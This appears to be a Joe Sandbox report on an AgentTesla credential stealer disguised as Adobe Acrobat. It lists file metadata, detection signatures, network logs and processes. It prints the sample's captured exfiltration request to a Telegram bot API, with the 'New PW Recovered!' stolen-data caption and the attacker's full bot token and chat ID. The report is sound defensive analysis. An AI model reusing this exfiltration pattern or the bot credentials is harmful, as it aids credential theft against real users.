3b5074b1b5d032e5620f69f9f700ff0e	kbdXtadZsM.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.13.205
	NBdxPYAgZf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.13.205
	yXsTZ347KJ.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 104.26.13.205
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 104.26.13.205
	yXsTZ347KJ.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220 104.26.13.205
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 104.26.13.205
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 104.26.13.205
	Jynj1RQC49.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.258567653551615
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xnlP06YunJ.exe
File size:	1'971'616 bytes
MD5:	a76f2b7c0390e364909268037328a880
SHA1:	2177eb596046f6f3a0fd743cad0a438c990fdde4
SHA256:	3301c867bfc564fad83be393a67e00cf4615b436940db9ed0728b3d4a523e040
SHA512:	27ee519113d2f4802f24e052ea417ea1c1b78ed301aaa1326666626d5d7ec6099ea3f378ce384783133eb5cd67fceef8a35bbf37112bbbbb8a961598017e82f6
SSDEEP:	24576:SUmGUfci/Tao+BWXxKhBpIildTdqsHs2TpwB2XPMPYMG8FoSpm7He58ynvdq2DI2:obKCEdqsdmg8Y6oS6Wpv4z
TLSH:	3195CE023686CF60D19F1776C4A644F41363FE41ED4ED7EB298A7FEA387236669401A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................:...........Y... ...`....@.. .......................@............`................................

File Icon


Icon Hash:	2d525272484c550b

Static PE Info

General

Entrypoint:	0x58590e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67ABC0FB [Tue Feb 11 21:28:27 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	03/11/2023 01:00:00 05/11/2025 00:59:59
Subject Chain	CN=Adobe Inc., OU=Acrobat DC, O=Adobe Inc., L=San Jose, S=ca, C=US, SERIALNUMBER=2748129, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US
Version:	3
Thumbprint MD5:	464C015DAA50884AB4DD5502E6B164B0
Thumbprint SHA-1:	96B7B1EF175BBA4BDE33A05402134289B28B5BCB
Thumbprint SHA-256:	ABC429325881B54BEC561B7B5A635E0E0AC9C94742F1324EBE5EB9AF6AE0CCC5
Serial:	0D1A340F78D7D000E089FDBAAD6522DF

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1858c0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x186000	0x5adc0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1dec00	0x29a0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x183914	0x183a00	88849082b3e68b4fd3803845b13b4c0e	False	0.8840350139068043	SysEx File -	7.806883109554231	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x186000	0x5adc0	0x5ae00	752d1590fcaf03653716eabaabef6b72	False	0.03483117692572214	data	2.404004697205331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e2000	0xc	0x200	cee508dd897c8e100543fa9608261735	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x186220	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144, resolution 11811 x 11811 px/m	0.022916235168801966
RT_ICON	0x1c8248	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 11811 x 11811 px/m	0.04400804448124926
RT_ICON	0x1d8a70	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 11811 x 11811 px/m	0.07853094000944733
RT_ICON	0x1dcc98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 11811 x 11811 px/m	0.10020746887966805
RT_ICON	0x1df240	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 11811 x 11811 px/m	0.14329268292682926
RT_ICON	0x1e02e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 11811 x 11811 px/m	0.20035460992907803
RT_GROUP_ICON	0x1e0750	0x5a	data	0.7666666666666667
RT_VERSION	0x1e07ac	0x426	data	0.4105461393596987
RT_MANIFEST	0x1e0bd4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments	Adobe Acrobat
CompanyName	Adobe Systems Incorporated
FileDescription	Adobe Acrobat
FileVersion	24.5.20320.0
InternalName	Kqjoqlc.exe
LegalCopyright	Copyright 1984-2024 Adobe Systems Incorporated and its licensors. All rights reserved.
LegalTrademarks
OriginalFilename	Kqjoqlc.exe
ProductName	Adobe Acrobat
ProductVersion	24.5.20320.0
Assembly Version	24.5.20320.0

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-07T22:51:09.625936+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49683	149.154.167.220	443	TCP
2025-03-07T22:51:10.368588+0100	2851779	ETPRO MALWARE Agent Tesla Telegram Exfil	1	192.168.2.7	49683	149.154.167.220	443	TCP
2025-03-07T22:51:10.368588+0100	2852815	ETPRO MALWARE Agent Tesla Telegram Exfil M2	1	192.168.2.7	49683	149.154.167.220	443	TCP
2025-03-07T22:51:11.108511+0100	2854281	ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound	1	149.154.167.220	443	192.168.2.7	49683	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 22:51:02.152507067 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:02.152561903 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:02.152645111 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:02.179785967 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:02.179841042 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:04.189089060 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:04.189168930 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:04.197195053 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:04.197232962 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:04.197573900 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:04.250360012 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:04.311014891 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:04.352375984 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:05.071261883 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:05.117237091 CET	443	49682	104.26.13.205	192.168.2.7
Mar 7, 2025 22:51:05.120470047 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:05.130430937 CET	49682	443	192.168.2.7	104.26.13.205
Mar 7, 2025 22:51:06.623522043 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:06.623560905 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:06.623636007 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:06.625297070 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:06.625314951 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:09.253770113 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:09.253849983 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:09.266530991 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:09.266552925 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:09.267010927 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:09.268867016 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:09.316337109 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:09.625754118 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:09.625785112 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:10.368644953 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:10.422244072 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:11.107702017 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:11.108232975 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:51:11.108283997 CET	443	49683	149.154.167.220	192.168.2.7
Mar 7, 2025 22:51:11.108340025 CET	49683	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:52:40.085621119 CET	49691	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:52:40.085676908 CET	443	49691	149.154.167.220	192.168.2.7
Mar 7, 2025 22:52:40.085920095 CET	49691	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:52:40.086226940 CET	49691	443	192.168.2.7	149.154.167.220
Mar 7, 2025 22:52:40.086246014 CET	443	49691	149.154.167.220	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 22:51:02.138669968 CET	55849	53	192.168.2.7	1.1.1.1
Mar 7, 2025 22:51:02.145934105 CET	53	55849	1.1.1.1	192.168.2.7
Mar 7, 2025 22:51:06.615628004 CET	55834	53	192.168.2.7	1.1.1.1
Mar 7, 2025 22:51:06.622925043 CET	53	55834	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 22:51:02.138669968 CET	192.168.2.7	1.1.1.1	0xfdf2	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:51:06.615628004 CET	192.168.2.7	1.1.1.1	0x3594	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 22:51:02.145934105 CET	1.1.1.1	192.168.2.7	0xfdf2	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:51:02.145934105 CET	1.1.1.1	192.168.2.7	0xfdf2	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:51:02.145934105 CET	1.1.1.1	192.168.2.7	0xfdf2	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:51:06.622925043 CET	1.1.1.1	192.168.2.7	0x3594	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49682	104.26.13.205	443	524	C:\Users\user\Desktop\xnlP06YunJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:51:04 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2025-03-07 21:51:05 UTC	426	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:51:04 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91cd4fe53a9382e7-IAD server-timing: cfL4;desc="?proto=TCP&rtt=73040&min_rtt=52449&rtt_var=33195&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=769&delivery_rate=55080&cwnd=175&unsent_bytes=0&cid=5eebf2ee87cd5bb7&ts=736&x=0"
2025-03-07 21:51:05 UTC	12	IN	Data Raw: 37 31 2e 32 32 30 2e 31 35 2e 36 30 Data Ascii: 71.220.15.60

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49683	149.154.167.220	443	524	C:\Users\user\Desktop\xnlP06YunJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:51:09 UTC	260	OUT	POST /bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dd5d984054af83 Host: api.telegram.org Content-Length: 980 Expect: 100-continue Connection: Keep-Alive
2025-03-07 21:51:09 UTC	980	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 35 64 39 38 34 30 35 34 61 66 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 31 30 33 30 39 34 34 38 38 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 35 64 39 38 34 30 35 34 61 66 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 33 2f 30 37 2f 32 30 32 35 20 31 36 3a 35 31 3a 30 35 0a 55 73 65 72 Data Ascii: -----------------------------8dd5d984054af83Content-Disposition: form-data; name="chat_id"7103094488-----------------------------8dd5d984054af83Content-Disposition: form-data; name="caption"New PW Recovered!Time: 03/07/2025 16:51:05User
2025-03-07 21:51:10 UTC	25	IN	HTTP/1.1 100 Continue
2025-03-07 21:51:11 UTC	1207	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 07 Mar 2025 21:51:10 GMT Content-Type: application/json Content-Length: 819 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":9833,"from":{"id":7351654760,"is_bot":true,"first_name":"\u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0431\u043e\u0442","username":"KolabinBot"},"chat":{"id":7103094488,"first_name":"Garett","last_name":"Taller","username":"garetttaller","type":"private"},"date":1741384270,"document":{"file_name":"user-609290 2025-03-07 16-51-05.html","mime_type":"text/html","file_id":"BQACAgEAAxkDAAImaWfLak6z4DnlSOvi1g5l77xfMyhzAAIYBQACBEFhRvqpk1mkptksNgQ","file_unique_id":"AgADGAUAAgRBYUY","file_size":351},"caption":"New PW Recovered!\n\nTime: 03/07/2025 16:51:05\nUser Name: user/609290\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 71.220.15.60","caption_entities":[{"offset":182,"length":12,"type":"url"}]}}

Target ID:	0
Start time:	16:50:32
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\xnlP06YunJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xnlP06YunJ.exe"
Imagebase:	0xdd0000
File size:	1'971'616 bytes
MD5 hash:	A76F2B7C0390E364909268037328A880
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1158237609.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:50:33
Start date:	07/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x460000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:50:33
Start date:	07/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:50:33
Start date:	07/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0xc00000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:51:00
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\xnlP06YunJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xnlP06YunJ.exe"
Imagebase:	0x2d0000
File size:	1'971'616 bytes
MD5 hash:	A76F2B7C0390E364909268037328A880
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2109400212.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	16:51:00
Start date:	07/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x460000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:51:00
Start date:	07/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:51:00
Start date:	07/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0xc00000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xnlP06YunJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Windows Analysis Report
xnlP06YunJ.exe